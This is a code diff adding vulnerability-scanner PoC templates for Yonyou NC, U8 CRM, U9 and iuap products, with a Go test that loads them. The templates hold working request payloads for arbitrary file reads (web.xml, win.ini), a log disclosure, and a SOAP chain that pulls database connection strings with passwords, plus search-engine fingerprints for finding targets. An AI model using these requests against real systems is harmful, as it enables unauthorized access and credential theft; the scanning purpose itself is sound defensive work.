+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'<ns1:getDataSourceConfigResponse') &&
+      response.body.bcontains(b'ns1:getDataSourceConfigResponse>')
+expression: r0()
@@ -0,0 +1,27 @@
+id: yonyou-nc-word-docx-fileread
+
+info:
+  name: 用友NC word.docx存在任意文件读取漏洞
+  author: Y3y1ng
+  severity: high
+  verified: true
+  description: |-
+    用友 NC 前台存在open/word.docx文件读取漏洞，攻击者尝试拼接恶意请求实现任意文件读取，从而获取敏感文件路径信息。
+    Fofa: body="UClient.dmg"
+    ZoomEye: app:"Yonyou NC httpd"
+  reference:
+    - https://mp.weixin.qq.com/s/RKAwMJoUivdzuQ6umuPKWw
+  tags: yonyou,fileread
+  created: 2023/12/04
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /portal/docctr/open/word.docx?disp=/WEB-INF/web.xml
+    expression: |
+      response.status == 200 &&
+      response.body.bcontains(b"<?xml") &&
+      response.body.bcontains(b"encoding") &&
+      response.body.bcontains(b"NC Portal")
+expression: r0()+
@@ -0,0 +1,22 @@
+id: yonyou-ncfindweb-fileread
+
+info:
+  name: 用友 NC NCFindWeb 任意文件读取漏洞
+  author: princechaddha
+  severity: high
+  verified: true
+  description: |
+    用友 NC NCFindWeb 任意文件读取漏洞
+    fofa: icon_hash="1085941792"
+  tags: yonyou,ncfindweb,fileread
+  created: 2023/05/26
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'<web-app') && response.body.bcontains(b'</web-app>')
+expression: r0()
@@ -0,0 +1,22 @@
+id: yonyou-u8-crm-getemaildata-fileread
+
+info:
+  name: 用友 U8 CRM客户关系管理系统 getemaildata.php 任意文件读取漏洞
+  author: peiqi
+  severity: high
+  verified: true
+  description: |
+    用友 U8 CRM客户关系管理系统 getemaildata.php 文件存在任意文件上传漏洞，攻击者通过漏洞可以获取到服务器权限，攻击服务器
+    FOFA: body="用友U8CRM"
+  reference:
+    - https://peiqi.wgpsec.org/wiki/oa/用友OA/用友%20U8%20CRM客户关系管理系统%20getemaildata.php%20任意文件上传漏洞.html
+  tags: yonyou,fileread
+  created: 2023/08/13
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini
+    expression: response.status == 200 && response.body.bcontains(b"bit app support") 
+expression: r0()+
@@ -0,0 +1,22 @@
+id: yonyou-u8-datacache-disclosure
+
+info:
+  name: 用友u8-crm存在信息泄露漏洞
+  author: zan8in
+  severity: medium
+  verified: false
+  reference:
+    - https://mp.weixin.qq.com/s?__biz=Mzg2MjkwMDY3OA==&mid=2247484627&idx=1&sn=a1d79fb942c7395bfad77c748a501134&chksm=ce019c7af976156cec6cb6d1ff79ecf5afba6bae52dcf7fac4134f77314c53465472a7ef7774&cur_album_id=3090557023571722241&scene=189#wechat_redirect
+  tags: yonyou,disclosure
+  created: 2024/01/16
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /datacache/solr.log
+    expression: |
+      response.status == 200 && 
+      response.body.bcontains(b'Solr Index Req:') &&
+      response.body.bcontains(b'<field name="id">')
+expression: r0()
@@ -0,0 +1,80 @@
+id: yonyou-u9-getconnectionstring-disclosure
+
+info:
+  name: 用友u9系统接口GetConnectionString存在信息泄露漏洞
+  author: avic123
+  severity: high
+  verified: true
+  description: |
+    用友u9 GetConnectionString存在信息泄露漏洞，攻击者可通过该漏洞获取数据库连接信息包括数据库账号密码等敏感信息。
+    fofa：body="logo-u9.png"
+  tags: yonyou,u9,disclosure
+  reference:
+    - https://blog.csdn.net/LiangYueSec/article/details/140199556
+  created: 2025/03/14
+
+rules:
+  r0:
+    request:
+      method: POST
+      path: /CS/Office/TransWebService.asmx
+      headers:
+        Content-Type: text/xml;charset=UTF-8
+        SOAPAction: http://tempuri.org/GetEnterprise
+      body: |
+        <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
+           <soap:Header/>
+           <soap:Body>
+              <tem:GetEnterprise/>
+           </soap:Body>
+        </soap:Envelope>
+
+    expression: |
+      response.status == 200 && response.body.bcontains(b'Code')
+    output:
+      search: '"\"Code\":\"(?P<code>.*?)\"".bsubmatch(response.body)'
+      code: search["code"]
+
+  r1:
+    request:
+      method: POST
+      path: /CS/Office/TransWebService.asmx
+      headers:
+        Content-Type: text/xml;charset=UTF-8
+        SOAPAction: http://tempuri.org/GetToken
+      body: |
+        <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
+           <soap:Header/>
+           <soap:Body>
+              <tem:GetToken>
+                 <!--type: string-->
+                 <tem:endId>{{code}}</tem:endId>
+              </tem:GetToken>
+           </soap:Body>
+        </soap:Envelope>
+    expression: |
+      response.status == 200 && response.body.bcontains(b'Token')
+    output:
+      search2: '"\"Token\":\"(?P<token>.*?)\"".bsubmatch(response.body)'
+      token: search2["token"]
+  r2:
+    request:
+      method: POST
+      path: /CS/Office/TransWebService.asmx
+      headers:
+        Content-Type: text/xml;charset=UTF-8
+        SOAPAction: http://tempuri.org/GetConnectionString
+      body: |
+        <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
+           <soap:Header/>
+           <soap:Body>
+              <tem:GetConnectionString>
+                 <!--type: string-->
+                 <tem:token>{{token}}</tem:token>
+              </tem:GetConnectionString>
+           </soap:Body>
+        </soap:Envelope>
+    expression: |
+      response.status == 200 && response.body.bcontains(b'User Id') && response.body.bcontains(b'Password')
+
+expression: r0() && r1() && r2()
@@ -0,0 +1,17 @@
+id: yonyou-iuap-detect
+
+info:
+  name: 用友 iuap
+  author: zan8in
+  severity: info
+  tags: yonyou,yonbip
+  created: 2024/11/29
+
+rules:
+  r0:
+    request:
+      method: GET
+      path: /iuap-apcom-workbench
+      follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(b"pageTitle = '欢迎登录';") && response.body.bcontains(b'<title>登录</title>') && response.body.bcontains(b'/iuap-uuas-user/getpwd"')
+expression: r0()
@@ -216,6 +216,25 @@ func TestBuildTargetURL(t *testing.T) {
 	}
 }

+func TestEmbeddedPocsLoad(t *testing.T) {
+	entries, err := pocsFS.ReadDir("pocs")
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	for _, entry := range entries {
+		if !isPocFile(entry.Name()) {
+			continue
+		}
+
+		t.Run(entry.Name(), func(t *testing.T) {
+			if _, err := lib.LoadPoc(entry.Name(), pocsFS); err != nil {
+				t.Fatal(err)
+			}
+		})
+	}
+}
+
 func TestBuildTargetURLErrors(t *testing.T) {
 	tests := []struct {
 		name     string